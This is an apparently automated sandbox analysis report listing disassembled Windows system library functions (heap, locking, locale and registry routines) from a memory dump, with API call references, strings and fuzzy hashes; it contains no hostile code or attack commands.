API ID: Heap$FreeQueryStringUnicodeValue$AllocateInitIntegermemcpy
String ID:
API String ID: 3015855070-0
Opcode ID: 22465b97e18397853d22b2a5fa274eed415794ed2c71a9c347ef902493aa91b0
Instruction ID: 6d10105a9014653ed9c9346c8d00d3f19fd5251003728ecf810b9e73a3ddfb34
Opcode Fuzzy Hash: 22465b97e18397853d22b2a5fa274eed415794ed2c71a9c347ef902493aa91b0
Instruction Fuzzy Hash: 31816A75A4C2418FDB11CE18C881E6BB7E5EB84765F1448AAED549B342E338D942CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 6B475050, Relevance: 12.1, APIs: 8, Instructions: 133memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?), ref: 6B475096
RtlFreeHeap.1105(?,00000000,00000000,00000000,?), ref: 6B4D0C80

Part of subcall function 6B496E30: memset.1105(01000000,00000000,?,?,00000024,00000000,?), ref: 6B496F17

RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6B475128
RtlEnterCriticalSection.1105(6B5679A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6B475136
RtlLeaveCriticalSection.1105(6B5679A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000,?), ref: 6B475164
ZwClose.1105(?,6B5679A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000,00000000,00000000,00000000), ref: 6B475179
RtlFreeHeap.1105(?,00000000,?,?,6B5679A0,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,-00000004,00000000,00000000), ref: 6B47518A
RtlFreeHeap.1105(?,00000000,00000000,00000000,00000000,00000000,?,00000000,?), ref: 6B4D0C3E

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Free$CriticalSection$AllocateCloseEnterLeavememset
String ID:
API String ID: 1968905909-0
Opcode ID: a2354daa41fa57598fb220b17928dc80eef53b9bbbfa2b4d5485bc5c34314697
Instruction ID: f7ba60089c37b858103fd16e87fe76cb28009c223662eabe95d3b88fca85e328
Opcode Fuzzy Hash: a2354daa41fa57598fb220b17928dc80eef53b9bbbfa2b4d5485bc5c34314697
Instruction Fuzzy Hash: 1441F3356582019BD324EF28C860FAABBA4EF45B14F01092EF9959B350E73CEC42C7D5

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A513A, Relevance: 10.8, APIs: 7, Instructions: 258timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.1105(?,?,?,?,?,-00000054,6B5686CC,?,000000FF,?,000000A0,?), ref: 6B4A5234

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: a4f62868f182a8450334bc7d630b8ce195c6b105408240db5f25f265ca3421ef
Instruction ID: 6c04a4b20bc4340af510e1e5a083fd1bc6b5feccc2f90bc67c1a1020a99c01a0
Opcode Fuzzy Hash: a4f62868f182a8450334bc7d630b8ce195c6b105408240db5f25f265ca3421ef
Instruction Fuzzy Hash: 57C123755083809FD354CF28C580A5AFBF1BF89304F1449AEF9998B352D779E846CB52

Uniqueness

Uniqueness Score: -1.00%

Function 6B52D4E1, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 223memoryCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,00000000,00000001,00000000,?,?,00000000,00000000,6B4871B4,6B4871B4,?,C000000D,?,?,?,?), ref: 6B52D699
RtlCultureNameToLCID.1105(?,6B4871B4,?,00000000,00000001,00000000,?,?,00000000,00000000,6B4871B4,6B4871B4,?,C000000D,?,?), ref: 6B52D6A6
RtlLCIDToCultureName.1105(6B4871B4,?,00000001,00000000,?), ref: 6B52D6ED
_wcsicmp.1105(00000000,00000000,6B4871B4,?,00000001,00000000,?), ref: 6B52D729
RtlFreeHeap.1105(?,00000000,00000000,00000001,00000000,?,?,00000000,00000000,6B4871B4,6B4871B4,?,C000000D,?,?,?), ref: 6B52D751

Strings

MUI, xrefs: 6B52D694, 6B52D725

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureName$FreeHeapInitStringUnicode_wcsicmp
String ID: MUI
API String ID: 3981842732-1339004836
Opcode ID: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction ID: 9e2ad8dff12dab3446a2f604f6cf7643dfe2d4d36eb151cf04a6724284dea518
Opcode Fuzzy Hash: e4190bdba769db170bdf03e4438b82029291753f772159210f9cf24315aaed2f
Instruction Fuzzy Hash: 5571C335E8261A9BEB04CF64C580BEEB7F9AF45704F59419ADC20AB2C0E77DD941CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B47E8B0, Relevance: 10.7, APIs: 7, Instructions: 190memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6B52D3A0,00000000,00000FFF,00000000,?,6B4D9578,00000000), ref: 6B4D568A
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6B52D3A0,00000000,00000FFF,00000000,?,6B4D9578,00000000), ref: 6B4D56A9
RtlFreeHeap.1105(?,00000000,?,C000000D,00000000,0000EEEE,?,?,6B52D3A0,00000000,00000FFF,00000000,?,6B4D9578,00000000), ref: 6B4D56C8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction ID: aaec90258a756f86a4bc66c09725814cb80aaef5c80dbc3afbe699b8295d3cf9
Opcode Fuzzy Hash: 332dd7b6427a2ff37b2958637256c2ea3595f6bb166278ecb2218a35508bbaf5
Instruction Fuzzy Hash: BA716FB29A4B41CBC371AE29C690F92B7F5FF41765F200BADD9D142AE1DB2CA441CB40

Uniqueness

Uniqueness Score: -1.00%

Function 6B49B73D, Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 6B4E2BF3
HEAP: , xrefs: 6B4E2BE8
HEAP[%wZ]: , xrefs: 6B4E2BDB

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 98475d7a06a70e685f7fda4f6a756c7996228d8069332b27ab82b86b4013f9d3
Instruction ID: ae7083833c92230fd9fe316db4d8b2f94e37dd2a2262f120f57fffbc1c9ee82d
Opcode Fuzzy Hash: 98475d7a06a70e685f7fda4f6a756c7996228d8069332b27ab82b86b4013f9d3
Instruction Fuzzy Hash: 1F61C170604241DFDB18DF28D485FAABBA1FF49704F1485AEE8498B355D738E882CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A95EC, Relevance: 10.7, APIs: 7, Instructions: 165timelibraryCOMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105(00000000,00000001,?,?,7FFE0386), ref: 6B4A96A5

Part of subcall function 6B4A9702: RtlAcquireSRWLockExclusive.1105(?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B4A974F
Part of subcall function 6B4A9702: RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B4A976D

LdrLockLoaderLock.1105(00000000,00000000,00000001,?,?,7FFE0386,?,6B476778,00000001), ref: 6B4E9682
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B4E972B
RtlDebugPrintTimes.1105(?,?,00000000,00000000,00000001,?,?,7FFE0386), ref: 6B4E9740

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$DebugExclusivePrintTimes$AcquireCurrentLoaderReleaseServiceSession
String ID:
API String ID: 732933571-0
Opcode ID: aff782bdadb646ae8795870a45ad75d4b480f01cd1a0a9fb829356266252c326
Instruction ID: c5180b5e1c83a515a6674bfaf532c9ffc104a44b5e179e4d1a45cc7d6244fc89
Opcode Fuzzy Hash: aff782bdadb646ae8795870a45ad75d4b480f01cd1a0a9fb829356266252c326
Instruction Fuzzy Hash: 2651DC70A04609EFDB04DF6CC885FAEB7B4BF15B15F00416AE511972A1EB7E9912CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B4899C7, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 156COMMON

Download Yara Rule

APIs

RtlGetCurrentServiceSessionId.1105 ref: 6B489A0C
RtlGetCurrentServiceSessionId.1105 ref: 6B489BFE
RtlGetCurrentServiceSessionId.1105 ref: 6B4D9FFA

Strings

LdrResFallbackLangList Exit, xrefs: 6B489A04
LdrResFallbackLangList Enter, xrefs: 6B4899F2

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: CurrentServiceSession
String ID: LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 1007659313-1720564570
Opcode ID: 2288e8dcf2a49b1b2fb6e5ac614fa47aa8ed9164cffbc35ee70bf12c87397b10
Instruction ID: 894c1c866f294ff8e1883328f3fe73330c7c9e434268fc5fdb2745d0ac208f8f
Opcode Fuzzy Hash: 2288e8dcf2a49b1b2fb6e5ac614fa47aa8ed9164cffbc35ee70bf12c87397b10
Instruction Fuzzy Hash: 3C51C1316097828BD315CF68D450B5ABBE0FF86754F0489AEE954CB392E73EC841C796

Uniqueness

Uniqueness Score: -1.00%

Function 6B52D208, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 131memoryCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,PreferredUILanguages,00000000,?,?), ref: 6B52D24B

Part of subcall function 6B47F018: RtlAllocateHeap.1105(?,00000008,?,?,00000000,?), ref: 6B47F05B
Part of subcall function 6B47F018: ZwQueryValueKey.1105(?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B47F07A
Part of subcall function 6B47F018: memcpy.1105(00000000,0000000C,?,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B47F0AB
Part of subcall function 6B47F018: RtlFreeHeap.1105(?,00000000,00000000,?,?,00000002,00000000,?,00000000,?,00000008,?,?,00000000,?), ref: 6B47F0CB

RtlAllocateHeap.1105(?,00000008,00000000,?,00000000,00000000,?,?,PreferredUILanguages,00000000,?,?), ref: 6B52D286
RtlFreeHeap.1105(?,00000000,00000000,00000000,?,?), ref: 6B52D361

Strings

PreferredUILanguages, xrefs: 6B52D241

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFree$InitQueryStringUnicodeValuememcpy
String ID: PreferredUILanguages
API String ID: 4141005267-1884656846
Opcode ID: 9a7d8117d525b966206f823322b9b48e42d6c09e5de9ca27dcb9f0fbbd0fee63
Instruction ID: 69a21697df6c4343d714bd1195dd8be3e70941eb435a26ca72b8b1d6d93ae01b
Opcode Fuzzy Hash: 9a7d8117d525b966206f823322b9b48e42d6c09e5de9ca27dcb9f0fbbd0fee63
Instruction Fuzzy Hash: 2B419232D41559ABEB11DAA9C880FEEB7B8EF49754F0105EAE911A72D0D738DE40C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B473FC5, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 131COMMON

Download Yara Rule

APIs

DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,6B533933,RtlGetUserInfoHeap), ref: 6B4D03D9
DbgPrint.1105(HEAP: ,?,?,?,?,6B533933,RtlGetUserInfoHeap), ref: 6B4D03E6
DbgPrint.1105(Invalid address specified to %s( %p, %p ),?,?,?,?,?,?,?,6B533933,RtlGetUserInfoHeap), ref: 6B4D03F9

Strings

Invalid address specified to %s( %p, %p ), xrefs: 6B4D03F4
HEAP: , xrefs: 6B4D03E1
HEAP[%wZ]: , xrefs: 6B4D03D4

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 3558298466-1151232445
Opcode ID: 0490acfba9031f8f07e15cb30dd2b1aecf921856f2ed5641815b05129554b9aa
Instruction ID: 8be1d44361b236eeeca9f036fabb8ab99b0d7ba75e63913cd4968c56b4212373
Opcode Fuzzy Hash: 0490acfba9031f8f07e15cb30dd2b1aecf921856f2ed5641815b05129554b9aa
Instruction Fuzzy Hash: 3641DE30604380CBEB259B28C4A1FFA77A0DF02788F1484B9D5554B742C76ED886CB66

Uniqueness

Uniqueness Score: -1.00%

Function 6B4ACE6C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 131memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6B4ACEE6
memcpy.1105(00000010,?,00000000,?,00000000,?,00000040,00000000,?,?,00000000,00000002), ref: 6B4ACF16
DbgPrintEx.1105(00000033,00000000,SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand,RtlpInsertAssemblyStorageMapEntry,00000040,?,00000000,00000000,00000000,00000002,?,00000040,00000000,?,?,00000000), ref: 6B4EAE15
RtlFreeHeap.1105(?,00000000,00000000,00000040,00000000,?,?,00000000,00000002), ref: 6B4EAE34

Strings

SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand, xrefs: 6B4EAE0C
RtlpInsertAssemblyStorageMapEntry, xrefs: 6B4EAE07

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateFreePrintmemcpy
String ID: RtlpInsertAssemblyStorageMapEntry$SXS: %s() bad parametersSXS: Map : %pSXS: AssemblyRosterIndex : 0x%lxSXS: Map->AssemblyCount : 0x%lxSXS: StorageLocation : %pSXS: StorageLocation->Length: 0x%xSXS: StorageLocation->Buffer: %pSXS: OpenDirectoryHand
API String ID: 3020890669-2104531740
Opcode ID: 3e6659c537bedb1f6b04dba61ea30ea71d78de4dde41c19cb6dc964daaa61184
Instruction ID: 94d66e624cfd20c254c54f1afc2ad7752ce6e0d290c4ceb05cecbdc9382c9ae8
Opcode Fuzzy Hash: 3e6659c537bedb1f6b04dba61ea30ea71d78de4dde41c19cb6dc964daaa61184
Instruction Fuzzy Hash: D9412731600615EBD714CF59C840FAAB7B6FF94B12F1181ADE9588B384E738DD42CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6B47E420, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

RtlInitUnicodeString.1105(?,Software\Policies\Microsoft\Control Panel\Desktop,00000000,00000000,?), ref: 6B47E45F
ZwOpenKey.1105(?,?,?,?), ref: 6B47E4A4
ZwClose.1105(?), ref: 6B47E507
ZwClose.1105(00000000), ref: 6B4D53C4

Strings

Software\Policies\Microsoft\Control Panel\Desktop, xrefs: 6B47E455
@, xrefs: 6B47E49C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Close$InitOpenStringUnicode
String ID: @$Software\Policies\Microsoft\Control Panel\Desktop
API String ID: 3420387270-3130938041
Opcode ID: abd610236bbcb8c9779db4bde019fe0d2cf5ea81c7eb107c50617f1668cabe96
Instruction ID: 8ea351933e946aad63bc457effa5440b0eee64fd820f9c8d694d2f07e32e4076
Opcode Fuzzy Hash: abd610236bbcb8c9779db4bde019fe0d2cf5ea81c7eb107c50617f1668cabe96
Instruction Fuzzy Hash: 4C419E719483119BC314DF29C480E9BBBE8EF95754F104A6EF9948B350EB78D905CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A9ED0, Relevance: 10.6, APIs: 7, Instructions: 125COMMON

Download Yara Rule

APIs

RtlReleaseSRWLockExclusive.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6B4E9836
RtlReleaseSRWLockShared.1105(?,FFFFFFFE,000000FF,FFFFFFFE), ref: 6B4E984A
RtlAcquireSRWLockExclusive.1105(?), ref: 6B4E987A
RtlAcquireSRWLockShared.1105(?), ref: 6B4E9897
RtlReleaseSRWLockExclusive.1105(?), ref: 6B4E98B3

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$ExclusiveRelease$AcquireShared
String ID:
API String ID: 1363392280-0
Opcode ID: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction ID: 65807ec872de8243421cbfaeb47b18a10185bdd34866aafc2456e94982eff326
Opcode Fuzzy Hash: 688a337dac4e851413f0ec5f61124e081631620ab6096ab0831448190c3edd25
Instruction Fuzzy Hash: A2418171A182428BCB04CE289841B4BBBE5AFD5719F18494DF89497382D63EE90987E7

Uniqueness

Uniqueness Score: -1.00%

Function 6B506365, Relevance: 10.6, APIs: 7, Instructions: 123memorynativeCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.1105(?,00000008,?,00000000,?,00000000), ref: 6B506385
ZwQueryVirtualMemory.1105(000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6B5063A4
memcpy.1105(?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?,00000000), ref: 6B5063DF
wcsrchr.1105(?,0000005C,?,?,?,000000FF,?,00000002,00000000,?,?,?,00000008,?,00000000,?), ref: 6B5063E7
RtlFreeHeap.1105(?,00000000,00000000,?,00000008,?,00000000,?,00000000), ref: 6B50640B
RtlAllocateHeap.1105(?,00000008,-00000002,00000008,?,00000000,?), ref: 6B50644D
memcpy.1105(00000000,-00000002,?,00000000,?), ref: 6B50646B

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Allocatememcpy$FreeMemoryQueryVirtualwcsrchr
String ID:
API String ID: 58330029-0
Opcode ID: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction ID: 2eb06578387020393149c57b0d21f1f770c09b494ba8e056a0937426a50f5613
Opcode Fuzzy Hash: c1f2ba62f69970b7b14ba36b7924932fcf19eab88d026fda8b36fc3e26e36b79
Instruction Fuzzy Hash: 4C41B176A00206EBEB15DF68C891FEF3B79EF44714F1540A8E9059B250DB39DD41C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6B47649B, Relevance: 10.6, APIs: 7, Instructions: 123COMMON

Download Yara Rule

APIs

RtlLcidToLocaleName.1105(?,?,00000002,00000000), ref: 6B4764F1
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6B47651A
RtlLocaleNameToLcid.1105(?,00000006,00000003,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6B47656D
RtlLcidToLocaleName.1105(?,?,00000002,00000001,?,?,00000002,00000000), ref: 6B4D192B
RtlGetParentLocaleName.1105(00000002,00000002,00000006,00000001,00000002,00000002,00000006,00000000,?,?,00000002,00000000), ref: 6B4D1962

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: LocaleName$Lcid$Parent
String ID:
API String ID: 3691507993-0
Opcode ID: 18ea4cd8986974586f3c4bc9a18e370cc8fac281bf7fecf3e2a13e90f1cfccc8
Instruction ID: 8a0531f5f93a27f6eae1b024bce5efbea806863c5acfbd16d1cda49a45e7491f
Opcode Fuzzy Hash: 18ea4cd8986974586f3c4bc9a18e370cc8fac281bf7fecf3e2a13e90f1cfccc8
Instruction Fuzzy Hash: 984147325487169AD311DF689841F9BB7EAAB84B58F00096EF980D7250E738DE15CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6B4A4020, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110nativeCOMMON

Download Yara Rule

APIs

RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4A40B3
RtlGetNtProductType.1105(?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4A40D6
RtlInitUnicodeString.1105(?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4A40F1
ZwQueryLicenseValue.1105(?,?,?,00000004,?,?,TerminalServices-RemoteConnectionManager-AllowAppServerMode,?,00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4A4108
RtlGetSuiteMask.1105(00000000,00000000,?,?,?,?,?,\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion), ref: 6B4A4155

Strings

TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 6B4A40E8

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: MaskSuite$InitLicenseProductQueryStringTypeUnicodeValue
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode
API String ID: 2592082795-996340685
Opcode ID: 173e2cfcf82a64eb3789a3d4958fec17f426fe8bfe81755c2b3d1856fd045702
Instruction ID: 3365f9153e3799b9871dcd25a2e1f6b5a23dd66ae97121e10ebe039e4925f571
Opcode Fuzzy Hash: 173e2cfcf82a64eb3789a3d4958fec17f426fe8bfe81755c2b3d1856fd045702
Instruction Fuzzy Hash: 53419475A047469AC724DFB4C442BEBFBF4EF29744F00482ED6A9D3604E738A545CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B48A3E0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 72nativeCOMMON

Download Yara Rule

APIs

ZwQueryInformationToken.1105(000000FA,00000001,?,00000050,?,?), ref: 6B48A404
RtlLengthSidAsUnicodeString.1105(?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A414

Part of subcall function 6B48A4B0: RtlValidSid.1105(?,?,?,6B48A419,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A4BA

RtlFreeUnicodeString.1105(?,?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A497

Part of subcall function 6B493A1C: RtlAllocateHeap.1105(?,00000000,00000000,?,6B4B67C0,0000004E,00000000,?,6B5083BE,?,?), ref: 6B493A2F

RtlAppendUnicodeToString.1105(?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A443

Part of subcall function 6B48A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B48A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B48A9E2

RtlConvertSidToUnicodeString.1105(?,?,00000000,?,\REGISTRY\USER\,?,02000000,?,?,000000FA,00000001,?,00000050,?,?), ref: 6B48A469

Part of subcall function 6B48A500: RtlValidSid.1105(00000050,?), ref: 6B48A523
Part of subcall function 6B48A500: wcscpy_s.1105(?,00000100,S-1-,?,00000050,?), ref: 6B48A54A

Strings

\REGISTRY\USER\, xrefs: 6B48A43D

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
